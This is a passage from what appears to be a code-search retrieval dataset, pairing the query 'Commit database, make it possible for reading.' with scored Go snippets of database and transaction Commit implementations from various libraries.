{ "docid": "09f16f68d75a2025725617aabb495c00", "score": "0.51677936", "text": "func RegisterACLProvider(r ACLProvider) {\n\tonce.Do(func() {\n\t\tconfigtxLock.Lock()\n\t\tdefer configtxLock.Unlock()\n\t\taclProvider = newACLMgmt(r)\n\t})\n}", "title": "" } ]
c671089f10d5533a315fa4f574678e64
Commit database, make it possible for reading.
[ { "docid": "f0e5c813af0e830d9b87b7ebd6a84abd", "score": "0.0", "text": "func (w *writerImpl) Close() error {\n\tw.buffer.Flush()\n\n\tfor _, table := range &w.tables {\n\t\tn := uint32(len(table) << 1)\n\t\tif n == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tslots := make(hashTable, n)\n\n\t\tfor _, slot := range table {\n\t\t\tk := (slot.hash >> 8) % n\n\n\t\t\t// linear ...\n\t\t\tfor slots[k].position != 0 {\n\t\t\t\tk = (k + 1) % n\n\t\t\t}\n\n\t\t\tslots[k].position = slot.position\n\t\t\tslots[k].hash = slot.hash\n\t\t}\n\n\t\tfor _, slot := range slots {\n\t\t\terr := writePair(w.writer, slot.hash, slot.position)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\toffset, err := w.writer.Seek(0, io.SeekCurrent)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif _, err := w.writer.Seek(w.begin, io.SeekStart); err != nil {\n\t\treturn err\n\t}\n\n\tvar pos uint32\n\n\tfor _, table := range &w.tables {\n\t\tn := len(table) << 1\n\t\tif n == 0 {\n\t\t\tpos = 0\n\t\t} else {\n\t\t\tpos = uint32(w.current)\n\t\t}\n\n\t\terr := writePair(w.writer, pos, uint32(n))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !w.addPos(slotSize * n) {\n\t\t\treturn errOutOfMemory\n\t\t}\n\t}\n\n\tif _, err := w.writer.Seek(offset, io.SeekStart); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" } ]
[ { "docid": "304b23740f7e2b1719dd48994f9aad25", "score": "0.7336249", "text": "func (dc *fakeDBClient) Commit() error {\n\treturn nil\n}", "title": "" }, { "docid": "304b23740f7e2b1719dd48994f9aad25", "score": "0.7336249", "text": "func (dc *fakeDBClient) Commit() error {\n\treturn nil\n}", "title": "" }, { "docid": "bcb64da928de6130f93883df6e9e954d", "score": "0.7318604", "text": "func (db *DB) Commit() {\n\tdb.Ch.Snapshot()\n}", "title": "" }, { "docid": "7abf535d0de53b8fb29f579e0040582a", "score": "0.73028153", "text": "func (ac *AbstractConnection) Commit() error { return nil }", "title": "" }, { "docid": "30d208b3183aaf101c8e396b10a56ac5", "score": "0.7141619", "text": "func (*txDriver) Commit() error { return nil }", "title": "" }, { "docid": "30d208b3183aaf101c8e396b10a56ac5", "score": "0.7141619", "text": "func (*txDriver) Commit() error { return nil }", "title": "" }, { "docid": "3c3ef6a62deb7e19e4fc3a2619997f2e", "score": "0.70612293", "text": "func (d *DB) Commit() (err error) {\r\n\tif d.tx == nil {\r\n\t\treturn errors.New(\"no transation running\")\r\n\t}\r\n\tdefer setLastSQL(d, \"COMMIT\")\r\n\terr = d.tx.Commit()\r\n\tif err == nil {\r\n\t\td.transactions = d.transactions[:len(d.transactions)-1]\r\n\t\tif len(d.transactions) > 0 {\r\n\t\t\td.tx = d.transactions[len(d.transactions)-1]\r\n\t\t} else {\r\n\t\t\td.tx = nil\r\n\t\t}\r\n\t}\r\n\treturn err\r\n}", "title": "" }, { "docid": "66a47b25a065e44b4b8465acd70cce0e", "score": "0.70555544", "text": "func (d *Database) Commit() {\n\tif d.next == nil {\n\t\treturn\n\t}\n\n\tt := d.next\n\tfor {\n\t\tif t.next == nil {\n\t\t\tbreak\n\t\t}\n\t\tt = t.next\n\t}\n\n\tfor {\n\t\tfor k, v := range t.vals {\n\t\t\td.vals[k] = v\n\t\t}\n\n\t\tif t.prev == nil {\n\t\t\tbreak\n\t\t}\n\n\t\tt = t.prev\n\t}\n\n\td.next = nil\n}", "title": "" }, { "docid": "a8c6c6b00bda23e08871401097e1178e", "score": "0.70296776", "text": "func (db *DB) Commit() *DB {\n if db.InTransaction == false || db.StdTx == nil {\n db.AddError(ErrInvalidTransaction)\n } else {\n db.InTransaction = false\n err := db.StdTx.Commit()\n if err != nil {\n db.AddError(err)\n }\n }\n return db\n}", "title": "" }, { "docid": "a8275ae8987f227b29c143b1041433b6", "score": "0.6947323", "text": "func Commit() error {\n\tdb, err := sql.Open(\"go_ibm_db\", con)\n\tbg, err := db.Begin()\n\tdb.Exec(\"DROP table u\")\n\t_, err = bg.Exec(\"create table u(id int)\")\n\terr = bg.Commit()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b95923e10ef1a5e12fd4de42f71ac427", "score": "0.6834306", "text": "func (j *Jobs) Commit() error {\n\treturn j.db.Commit()\n}", "title": "" }, { "docid": "64eb89886d9572d6d70f1bb1e9936e20", "score": "0.68274015", "text": "func (t *UpdateTran) Commit() {\n\tt.ck(t.db.ck.Commit(t))\n}", "title": "" }, { "docid": "4ba023298646abfa4348ba23aeb9a87c", "score": "0.68194777", "text": "func TxCommit(tx *sql.Tx,) error", "title": "" }, { "docid": "a0a4c887889b1a57c0d39ac669c2e9b9", "score": "0.68186337", "text": "func vdbeCommit(tls *libc.TLS, db uintptr, p uintptr) int32 { /* sqlite3.c:81009:12: */\n\tbp := tls.Alloc(72)\n\tdefer tls.Free(72)\n\n\tvar i int32\n\tvar nTrans int32 = 0 // Number of databases with an active write-transaction\n\t// that are candidates for a two-phase commit using a\n\t// super-journal\n\tvar rc int32 = SQLITE_OK\n\tvar needXcommit int32 = 0\n\n\t// Before doing anything else, call the xSync() callback for any\n\t// virtual module tables written in this transaction. This has to\n\t// be done before determining whether a super-journal file is\n\t// required, as an xSync() callback may add an attached database\n\t// to the transaction.\n\trc = Xsqlite3VtabSync(tls, db, p)\n\n\t// This loop determines (a) if the commit hook should be invoked and\n\t// (b) how many database files have open write transactions, not\n\t// including the temp database. (b) is important because if more than\n\t// one database file has an open write transaction, a super-journal\n\t// file is required for an atomic commit.\n\tfor i = 0; (rc == SQLITE_OK) && (i < (*Sqlite3)(unsafe.Pointer(db)).FnDb); i++ {\n\t\tvar pBt uintptr = (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb + uintptr(i)*32)).FpBt\n\t\tif Xsqlite3BtreeTxnState(tls, pBt) == SQLITE_TXN_WRITE {\n\t\t\tvar pPager uintptr // Pager associated with pBt\n\t\t\tneedXcommit = 1\n\t\t\tXsqlite3BtreeEnter(tls, pBt)\n\t\t\tpPager = Xsqlite3BtreePager(tls, pBt)\n\t\t\tif ((int32((*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb+uintptr(i)*32)).Fsafety_level) != PAGER_SYNCHRONOUS_OFF) &&\n\t\t\t\t(aMJNeeded[Xsqlite3PagerGetJournalMode(tls, pPager)] != 0)) &&\n\t\t\t\t(Xsqlite3PagerIsMemdb(tls, pPager) == 0) {\n\n\t\t\t\tnTrans++\n\t\t\t}\n\t\t\trc = Xsqlite3PagerExclusiveLock(tls, pPager)\n\t\t\tXsqlite3BtreeLeave(tls, pBt)\n\t\t}\n\t}\n\tif rc != SQLITE_OK {\n\t\treturn rc\n\t}\n\n\t// If there are any write-transactions at all, invoke the commit hook\n\tif (needXcommit != 0) && ((*Sqlite3)(unsafe.Pointer(db)).FxCommitCallback != 0) {\n\t\trc = (*(*func(*libc.TLS, uintptr) int32)(unsafe.Pointer((db + 280 /* &.xCommitCallback */))))(tls, (*Sqlite3)(unsafe.Pointer(db)).FpCommitArg)\n\t\tif rc != 0 {\n\t\t\treturn (SQLITE_CONSTRAINT | (int32(2) << 8))\n\t\t}\n\t}\n\n\t// The simple case - no more than one database file (not counting the\n\t// TEMP database) has a transaction active. There is no need for the\n\t// super-journal.\n\t//\n\t// If the return value of sqlite3BtreeGetFilename() is a zero length\n\t// string, it means the main database is :memory: or a temp file. In\n\t// that case we do not support atomic multi-file commits, so use the\n\t// simple case then too.\n\tif (0 == Xsqlite3Strlen30(tls, Xsqlite3BtreeGetFilename(tls, (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb)).FpBt))) ||\n\t\t(nTrans <= 1) {\n\t\tfor i = 0; (rc == SQLITE_OK) && (i < (*Sqlite3)(unsafe.Pointer(db)).FnDb); i++ {\n\t\t\tvar pBt uintptr = (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb + uintptr(i)*32)).FpBt\n\t\t\tif pBt != 0 {\n\t\t\t\trc = Xsqlite3BtreeCommitPhaseOne(tls, pBt, uintptr(0))\n\t\t\t}\n\t\t}\n\n\t\t// Do the commit only if all databases successfully complete phase 1.\n\t\t// If one of the BtreeCommitPhaseOne() calls fails, this indicates an\n\t\t// IO error while deleting or truncating a journal file. It is unlikely,\n\t\t// but could happen. In this case abandon processing and return the error.\n\t\tfor i = 0; (rc == SQLITE_OK) && (i < (*Sqlite3)(unsafe.Pointer(db)).FnDb); i++ {\n\t\t\tvar pBt uintptr = (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb + uintptr(i)*32)).FpBt\n\t\t\tif pBt != 0 {\n\t\t\t\trc = Xsqlite3BtreeCommitPhaseTwo(tls, pBt, 0)\n\t\t\t}\n\t\t}\n\t\tif rc == SQLITE_OK {\n\t\t\tXsqlite3VtabCommit(tls, db)\n\t\t}\n\t} else {\n\t\tvar pVfs uintptr = (*Sqlite3)(unsafe.Pointer(db)).FpVfs\n\t\tvar zSuper uintptr = uintptr(0) // File-name for the super-journal\n\t\tvar zMainFile uintptr = Xsqlite3BtreeGetFilename(tls, (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb)).FpBt)\n\t\t*(*uintptr)(unsafe.Pointer(bp + 64 /* pSuperJrnl */)) = uintptr(0)\n\t\tvar offset I64 = int64(0)\n\t\t// var res int32 at bp+60, 4\n\n\t\tvar retryCount int32 = 0\n\t\tvar nMainFile int32\n\n\t\t// Select a super-journal file name\n\t\tnMainFile = Xsqlite3Strlen30(tls, zMainFile)\n\t\tzSuper = Xsqlite3MPrintf(tls, db, ts+4065 /* \"%.4c%s%.16c\" */, libc.VaList(bp, 0, zMainFile, 0))\n\t\tif zSuper == uintptr(0) {\n\t\t\treturn SQLITE_NOMEM\n\t\t}\n\t\tzSuper += uintptr(4)\n\t\tfor ok := true; ok; ok = ((rc == SQLITE_OK) && (*(*int32)(unsafe.Pointer(bp + 60 /* res */)) != 0)) {\n\t\t\t// var iRandom U32 at bp+56, 4\n\n\t\t\tif retryCount != 0 {\n\t\t\t\tif retryCount > 100 {\n\t\t\t\t\tXsqlite3_log(tls, SQLITE_FULL, ts+4077 /* \"MJ delete: %s\" */, libc.VaList(bp+24, zSuper))\n\t\t\t\t\tXsqlite3OsDelete(tls, pVfs, zSuper, 0)\n\t\t\t\t\tbreak\n\t\t\t\t} else if retryCount == 1 {\n\t\t\t\t\tXsqlite3_log(tls, SQLITE_FULL, ts+4091 /* \"MJ collide: %s\" */, libc.VaList(bp+32, zSuper))\n\t\t\t\t}\n\t\t\t}\n\t\t\tretryCount++\n\t\t\tXsqlite3_randomness(tls, int32(unsafe.Sizeof(U32(0))), bp+56 /* &iRandom */)\n\t\t\tXsqlite3_snprintf(tls, 13, (zSuper + uintptr(nMainFile)), ts+4106, /* \"-mj%06X9%02X\" */\n\t\t\t\tlibc.VaList(bp+40, ((*(*U32)(unsafe.Pointer(bp + 56 /* iRandom */))>>8)&U32(0xffffff)), (*(*U32)(unsafe.Pointer(bp + 56 /* iRandom */))&U32(0xff))))\n\t\t\t// The antipenultimate character of the super-journal name must\n\t\t\t// be \"9\" to avoid name collisions when using 8+3 filenames.\n\n\t\t\trc = Xsqlite3OsAccess(tls, pVfs, zSuper, SQLITE_ACCESS_EXISTS, bp+60 /* &res */)\n\t\t}\n\t\tif rc == SQLITE_OK {\n\t\t\t// Open the super-journal.\n\t\t\trc = Xsqlite3OsOpenMalloc(tls, pVfs, zSuper, bp+64, /* &pSuperJrnl */\n\t\t\t\t(((SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE) | SQLITE_OPEN_EXCLUSIVE) | SQLITE_OPEN_SUPER_JOURNAL), uintptr(0))\n\t\t}\n\t\tif rc != SQLITE_OK {\n\t\t\tXsqlite3DbFree(tls, db, (zSuper - uintptr(4)))\n\t\t\treturn rc\n\t\t}\n\n\t\t// Write the name of each database file in the transaction into the new\n\t\t// super-journal file. If an error occurs at this point close\n\t\t// and delete the super-journal file. All the individual journal files\n\t\t// still have 'null' as the super-journal pointer, so they will roll\n\t\t// back independently if a failure occurs.\n\t\tfor i = 0; i < (*Sqlite3)(unsafe.Pointer(db)).FnDb; i++ {\n\t\t\tvar pBt uintptr = (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb + uintptr(i)*32)).FpBt\n\t\t\tif Xsqlite3BtreeTxnState(tls, pBt) == SQLITE_TXN_WRITE {\n\t\t\t\tvar zFile uintptr = Xsqlite3BtreeGetJournalname(tls, pBt)\n\t\t\t\tif zFile == uintptr(0) {\n\t\t\t\t\tcontinue // Ignore TEMP and :memory: databases\n\t\t\t\t}\n\n\t\t\t\trc = Xsqlite3OsWrite(tls, *(*uintptr)(unsafe.Pointer(bp + 64 /* pSuperJrnl */)), zFile, (Xsqlite3Strlen30(tls, zFile) + 1), offset)\n\t\t\t\toffset = offset + (I64(Xsqlite3Strlen30(tls, zFile) + 1))\n\t\t\t\tif rc != SQLITE_OK {\n\t\t\t\t\tXsqlite3OsCloseFree(tls, *(*uintptr)(unsafe.Pointer(bp + 64 /* pSuperJrnl */)))\n\t\t\t\t\tXsqlite3OsDelete(tls, pVfs, zSuper, 0)\n\t\t\t\t\tXsqlite3DbFree(tls, db, (zSuper - uintptr(4)))\n\t\t\t\t\treturn rc\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Sync the super-journal file. If the IOCAP_SEQUENTIAL device\n\t\t// flag is set this is not required.\n\t\tif (0 == (Xsqlite3OsDeviceCharacteristics(tls, *(*uintptr)(unsafe.Pointer(bp + 64 /* pSuperJrnl */))) & SQLITE_IOCAP_SEQUENTIAL)) &&\n\t\t\t(SQLITE_OK != (libc.AssignInt32(&rc, Xsqlite3OsSync(tls, *(*uintptr)(unsafe.Pointer(bp + 64 /* pSuperJrnl */)), SQLITE_SYNC_NORMAL)))) {\n\t\t\tXsqlite3OsCloseFree(tls, *(*uintptr)(unsafe.Pointer(bp + 64 /* pSuperJrnl */)))\n\t\t\tXsqlite3OsDelete(tls, pVfs, zSuper, 0)\n\t\t\tXsqlite3DbFree(tls, db, (zSuper - uintptr(4)))\n\t\t\treturn rc\n\t\t}\n\n\t\t// Sync all the db files involved in the transaction. The same call\n\t\t// sets the super-journal pointer in each individual journal. If\n\t\t// an error occurs here, do not delete the super-journal file.\n\t\t//\n\t\t// If the error occurs during the first call to\n\t\t// sqlite3BtreeCommitPhaseOne(), then there is a chance that the\n\t\t// super-journal file will be orphaned. But we cannot delete it,\n\t\t// in case the super-journal file name was written into the journal\n\t\t// file before the failure occurred.\n\t\tfor i = 0; (rc == SQLITE_OK) && (i < (*Sqlite3)(unsafe.Pointer(db)).FnDb); i++ {\n\t\t\tvar pBt uintptr = (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb + uintptr(i)*32)).FpBt\n\t\t\tif pBt != 0 {\n\t\t\t\trc = Xsqlite3BtreeCommitPhaseOne(tls, pBt, zSuper)\n\t\t\t}\n\t\t}\n\t\tXsqlite3OsCloseFree(tls, *(*uintptr)(unsafe.Pointer(bp + 64 /* pSuperJrnl */)))\n\n\t\tif rc != SQLITE_OK {\n\t\t\tXsqlite3DbFree(tls, db, (zSuper - uintptr(4)))\n\t\t\treturn rc\n\t\t}\n\n\t\t// Delete the super-journal file. This commits the transaction. After\n\t\t// doing this the directory is synced again before any individual\n\t\t// transaction files are deleted.\n\t\trc = Xsqlite3OsDelete(tls, pVfs, zSuper, 1)\n\t\tXsqlite3DbFree(tls, db, (zSuper - uintptr(4)))\n\t\tzSuper = uintptr(0)\n\t\tif rc != 0 {\n\t\t\treturn rc\n\t\t}\n\n\t\t// All files and directories have already been synced, so the following\n\t\t// calls to sqlite3BtreeCommitPhaseTwo() are only closing files and\n\t\t// deleting or truncating journals. If something goes wrong while\n\t\t// this is happening we don't really care. The integrity of the\n\t\t// transaction is already guaranteed, but some stray 'cold' journals\n\t\t// may be lying around. Returning an error code won't help matters.\n\n\t\tXsqlite3BeginBenignMalloc(tls)\n\t\tfor i = 0; i < (*Sqlite3)(unsafe.Pointer(db)).FnDb; i++ {\n\t\t\tvar pBt uintptr = (*Db)(unsafe.Pointer((*Sqlite3)(unsafe.Pointer(db)).FaDb + uintptr(i)*32)).FpBt\n\t\t\tif pBt != 0 {\n\t\t\t\tXsqlite3BtreeCommitPhaseTwo(tls, pBt, 1)\n\t\t\t}\n\t\t}\n\t\tXsqlite3EndBenignMalloc(tls)\n\n\t\tXsqlite3VtabCommit(tls, db)\n\t}\n\n\treturn rc\n}", "title": "" }, { "docid": "07d756237ba8899b8325150c378fef54", "score": "0.6806428", "text": "func (dbt dbTransaction) Commit() error {\n\treturn dbt.txn.Commit()\n}", "title": "" }, { "docid": "1337cd55ca35454f27c1d3efb9efd7d8", "score": "0.6797498", "text": "func (sh *sqlxHandler) Commit(ctx Context) (err error) {\n\treturn ctx.Tx().(*sqlx.Tx).Commit()\n}", "title": "" }, { "docid": "30ed3f7f6043ff0149d0e8c6ef686fbf", "score": "0.67640036", "text": "func (dc *DBClient) Commit() error {\n\t_, err := dc.dbConn.ExecuteFetch(\"commit\", 1, false)\n\tif err != nil {\n\t\tlog.Errorf(\"COMMIT failed w/ error %v\", err)\n\t\tdc.dbConn.Close()\n\t}\n\treturn err\n}", "title": "" }, { "docid": "9fc9f777c2ea0ff778ba415cee4c73cd", "score": "0.6731205", "text": "func (db *dBNWProxy) Commit(flag []byte) error {\n\tdb.mu.Lock()\n\tdefer db.mu.Unlock()\n\tdb.cache = make(map[memKey][]byte)\n\tdb.flag = nil\n\treturn nil\n}", "title": "" }, { "docid": "d458680602cac9a9d8e4ba2e5200254f", "score": "0.6680776", "text": "func (hood *Hood) Commit() error {\n\tif v, ok := hood.qo.(*sql.Tx); ok {\n\t\terr := v.Commit()\n\t\thood.updateTxError(err)\n\t\treturn hood.firstTxError\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9893ba4dcf7e389d6e2cbfd8fddc399a", "score": "0.6655199", "text": "func (mr *MysqlRepository) Commit(db sqlx.ExtContext) error {\n\terr := db.(*sqlx.Tx).Commit()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5889e9d3d842eeaf5f69323cba2f7cb9", "score": "0.6643976", "text": "func (c *Client) Commit() error {\n\ttx := c.currentTransaction()\n\tif tx == nil {\n\t\tpanic(\"Commit() called outside transaction\")\n\t}\n\n\terr := tx.Commit()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.ex = c.db\n\tc.committed = true\n\treturn nil\n}", "title": "" }, { "docid": "8359542096244f4f0a02002729ed8a46", "score": "0.6623698", "text": "func (s SQLDao) Commit(tx *sql.Tx) error {\n\tif tx != nil {\n\t\treturn tx.Commit()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5d88b91475d3e174e772ef9eb10dc247", "score": "0.65804726", "text": "func (db *Store) Commit(ctx context.Context, txn storage.Transaction) error {\n\tunderlying, err := db.underlying(txn)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif underlying.write {\n\t\tevent, err := underlying.Commit(ctx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdb.mu.Lock()\n\t\tdefer db.mu.Unlock()\n\t\tfor h := range db.triggers {\n\t\t\th.cb(ctx, txn, event)\n\t\t}\n\t} else {\n\t\tunderlying.Abort(ctx)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "73309ffa4f02a220aeaaeaf1e3fd175b", "score": "0.6540673", "text": "func (store *LMDBStore) Commit() error {\n\tstore.lock.Lock()\n\n\terr := store.tx.Commit()\n\tif err != nil {\n\t\tstore.lock.Unlock()\n\t\treturn err\n\t}\n\terr = store.env.Sync(true)\n\tif err != nil {\n\t\tstore.lock.Unlock()\n\t\treturn err\n\t}\n\t// err = store.tx.Renew()\n\tstore.tx, err = store.env.BeginTxn(nil, 0)\n\tif err != nil {\n\t\tstore.lock.Unlock()\n\t\treturn err\n\t}\n\n\tstore.lock.Unlock()\n\treturn nil\n}", "title": "" }, { "docid": "c5401e9aee5fe0fca2d07e4a0c7ed263", "score": "0.65403664", "text": "func Commit(tx *gorm.DB) error {\n\terr := tx.Commit().Error\n\tif err != nil {\n\t\treturn service.NewDBCommitError(err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cd91ad46e10ab3030cadb885d34ef5bd", "score": "0.65118724", "text": "func (l *KVLedger) Commit(block *common.Block) error {\n\tvar err error\n\n\tlogger.Debugf(\"Validating block\")\n\terr = l.txtmgmt.ValidateAndPrepare(block, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogger.Debugf(\"Committing block to storage\")\n\tif err = l.blockStore.AddBlock(block); err != nil {\n\t\treturn err\n\t}\n\n\tlogger.Debugf(\"Committing block to state database\")\n\tif err = l.txtmgmt.Commit(); err != nil {\n\t\tpanic(fmt.Errorf(`Error during commit to txmgr:%s`, err))\n\t}\n\n\t//TODO There are still some decisions to be made regarding how consistent history\n\t//needs to stay with the state. At min will want this to run async with state db writes.\n\t//(History needs to wait for the block (FSBlock) to write but not the state db)\n\tlogger.Debugf(\"===HISTORYDB=== Commit() will write to history if enabled else will be by-passed if not enabled: vledgerconfig.IsHistoryDBEnabled(): %v\\n\", ledgerconfig.IsHistoryDBEnabled())\n\tif ledgerconfig.IsHistoryDBEnabled() == true {\n\t\tlogger.Debugf(\"Committing transactions to history database\")\n\t\tif err := l.historymgmt.Commit(block); err != nil {\n\t\t\tpanic(fmt.Errorf(`Error during commit to txthistory:%s`, err))\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1f68ff059d9a9750112384eab2d1fbc0", "score": "0.65038145", "text": "func (db *DB) Commit() Interface {\n\treturn &DB{db: db.db.Commit()}\n}", "title": "" }, { "docid": "dcdbfea312c0ef5570f7c05b9c66bda8", "score": "0.6486525", "text": "func (histmgr *CouchDBHistMgr) Commit(block *common.Block) error {\n\tlogger.Debugf(\"===HISTORYDB=== Entering CouchDBTxHistMgr.Commit()\")\n\treturn nil\n}", "title": "" }, { "docid": "edd1755a8fbb7f2666b34c073f68a90e", "score": "0.64686215", "text": "func (tx *readTransaction) Commit() error {\n\ttx.check()\n\ttx.alive = false\n\ttx.partition.rwLock.RUnlock();\n\treturn nil;\n}", "title": "" }, { "docid": "3b10f4312e7276ef8af2d3a181eca0cf", "score": "0.6451057", "text": "func (c *GormController) Commit() revel.Result {\n\tif c.Tx == nil {\n\t\treturn nil\n\t}\n\tc.Tx.Commit()\n\tif err := c.Tx.Error; err != nil && err != sql.ErrTxDone {\n\t\tpanic(err)\n\t}\n\tc.Tx = nil\n\treturn nil\n}", "title": "" }, { "docid": "6c111fc9f1204d3e231834a72030ff9b", "score": "0.64246434", "text": "func (tx *Tx) Commit() (err error) {\n\terr = tx.tx.Commit()\n\ttx.db.accept(err)\n\ttx.cancel()\n\tif tx.span != nil {\n\t\ttx.span.Finish()\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "56924f11eec97909ff9e2fd0043ea575", "score": "0.64044416", "text": "func (ps *Metastore) Commit(meta EntryMetadata) error {\n\treturn ps.db.Update(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(entryIDToMetaBucket))\n\t\terr := b.Put([]byte(meta.EntryID[:]), meta.Serialize())\n\t\treturn err\n\t})\n}", "title": "" }, { "docid": "0a6cc107041e52d45b0794b7c2f77f7f", "score": "0.637098", "text": "func (q *Qbs) Commit() error {\n\terr := q.tx.Commit()\n\tif err != nil {\n\t\tq.errorLogger.Println(\"qbs: commit error:\", err)\n\t}\n\tq.updateTxError(err)\n\tq.tx = nil\n\tfor _, v := range q.txStmtMap {\n\t\tv.Close()\n\t}\n\tq.txStmtMap = nil\n\treturn q.firstTxError\n}", "title": "" }, { "docid": "8d7338f7c08040e45680c57927b38e0e", "score": "0.63565725", "text": "func (fh *FileHandle) Commit() {\n\tif fh.writeTx != nil {\n\t\tfh.writeTx.Commit()\n\t}\n}", "title": "" }, { "docid": "a655d24ba9b7a7a773aa38e8cb5349fe", "score": "0.6347049", "text": "func (smc *SmartContract) Commit() { smc.llState.Commit() }", "title": "" }, { "docid": "ff6a5bd994ae1fbb2e8465ca755f7553", "score": "0.63368225", "text": "func (c *GormController) Commit() r.Result {\n\tif c.Txn == nil {\n\t\treturn nil\n\t}\n\tc.Txn.Commit()\n\tif err := c.Txn.Error; err != nil && err != sql.ErrTxDone {\n\t\tpanic(err)\n\t}\n\tc.Txn = nil\n\treturn nil\n}", "title": "" }, { "docid": "6341c96e63bbf91b169f457275313120", "score": "0.6319529", "text": "func (db *DbType) TransactCommit() {\n\tif db.err == nil {\n\t\tdb.transactEnd(true)\n\t}\n\treturn\n}", "title": "" }, { "docid": "a707727abf02158fc0fbc35ab6b12337", "score": "0.63191545", "text": "func (self *levelDBStore) BatchCommit() error {\n\terr := self.db.Write(self.batch, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tself.batch = nil\n\treturn nil\n}", "title": "" }, { "docid": "eb040563bc39db7885607d58b2e83489", "score": "0.6305178", "text": "func (p *PostGIS) Commit() error {\n\tif p.tx == nil {\n\t\treturn errNoTx\n\t}\n\terr := p.tx.Commit()\n\tp.tx = nil\n\tp.stmtsPrepared = false\n\treturn err\n}", "title": "" }, { "docid": "4b1e24b6ef98eb3caaae0b2aba41e738", "score": "0.6302376", "text": "func (tx *Tx) Commit() (err error) {\n\terr = tx.tx.Commit()\n\ttx.cancel()\n\ttx.db.onBreaker(&err)\n\tif tx.t != nil {\n\t\ttx.t.Finish(&err)\n\t}\n\tif err != nil {\n\t\terr = errors.WithStack(err)\n\t}\n\treturn\n}", "title": "" }, { "docid": "9e6222a95ab9ee60ad2613e1108224fc", "score": "0.62930506", "text": "func (txh *TxHandler) Commit() error {\n\terr := txh.tx.Commit()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttxh.stmt.Close()\n\n\treturn nil\n}", "title": "" }, { "docid": "103d400abba7bdc3ecac8fd341107aef", "score": "0.6266695", "text": "func (stateDB *StateDB) Commit(deleteEmptyObjects bool) (common.Hash, error) {\n\t// Finalize any pending changes and merge everything into the tries\n\t//if metrics.EnabledExpensive {\n\t//\tdefer func(start time.Time) {\n\t//\t\telapsed := time.Since(start)\n\t//\t\tstateDB.StateObjectCommits += elapsed\n\t//\t\tdataaccessobject.Logger.Log.Infof(\"StateDB commit and return root hash time %+v\", elapsed)\n\t//\t}(time.Now())\n\t//}\n\tstateDB.IntermediateRoot(deleteEmptyObjects)\n\n\tif len(stateDB.stateObjectsDirty) > 0 {\n\t\tstateDB.stateObjectsDirty = make(map[common.Hash]struct{})\n\t}\n\t// Write the account trie changes, measuing the amount of wasted time\n\treturn stateDB.trie.Commit(func(leaf []byte, parent common.Hash) error {\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "70183ed0958c10cace944ba6e44f3df8", "score": "0.62653613", "text": "func (s *basic) Commit() error {\n\tfor _, c := range []interface{ Commit() error }{\n\t\ts.ObjectStorage,\n\t\ts.ReferenceStorage,\n\t\ts.IndexStorage,\n\t\ts.ShallowStorage,\n\t\ts.ConfigStorage,\n\t} {\n\t\tif err := c.Commit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "19c96feaeb11fc9bff5c44dc95b05828", "score": "0.62550765", "text": "func (tx *SqliteJsTx) Commit() error {\n\treturn nil\n\t/*\n\t\tif tx.c.disableTxns {\n\t\t\tfmt.Println(\"Ignoring COMMIT, txns disabled\")\n\t\t\treturn nil\n\t\t}\n\t\t_, err := tx.c.exec(context.Background(), \"COMMIT\", nil)\n\t\tif err != nil {\n\t\t\t// FIXME: ideally should only be called when\n\t\t\t// && err.(Error).Code == C.SQLITE_BUSY\n\t\t\t//\n\t\t\t// sqlite3 will leave the transaction open in this scenario.\n\t\t\t// However, database/sql considers the transaction complete once we\n\t\t\t// return from Commit() - we must clean up to honour its semantics.\n\t\t\ttx.c.exec(context.Background(), \"ROLLBACK\", nil)\n\t\t}\n\t\treturn err */\n}", "title": "" }, { "docid": "1b229b642832403473963ba0b3c67696", "score": "0.6253426", "text": "func (app *Application) Commit() types.ResponseCommit {\n\tvar hash map[string]interface{}\n\tfor {\n\t\tif err := app.state.DB.Run(bson.M{\n\t\t\t\"dbhash\": 1,\n\t\t\t\"collections\": []string{\"accounts\", \"transitions\", \"conversions\"},\n\t\t}, &hash); err == nil {\n\t\t\treturn types.ResponseCommit{Data: []byte(hash[\"md5\"].(string))}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e634a07b1aad685bea7e2e8f15822ab7", "score": "0.62319034", "text": "func (s *IndexStorage) Commit() error {\n\tif !s.set {\n\t\treturn nil\n\t}\n\n\tidx, err := s.temporal.Index()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn s.IndexStorer.SetIndex(idx)\n}", "title": "" }, { "docid": "fe059ef743c525218c48454dd37026ec", "score": "0.62255514", "text": 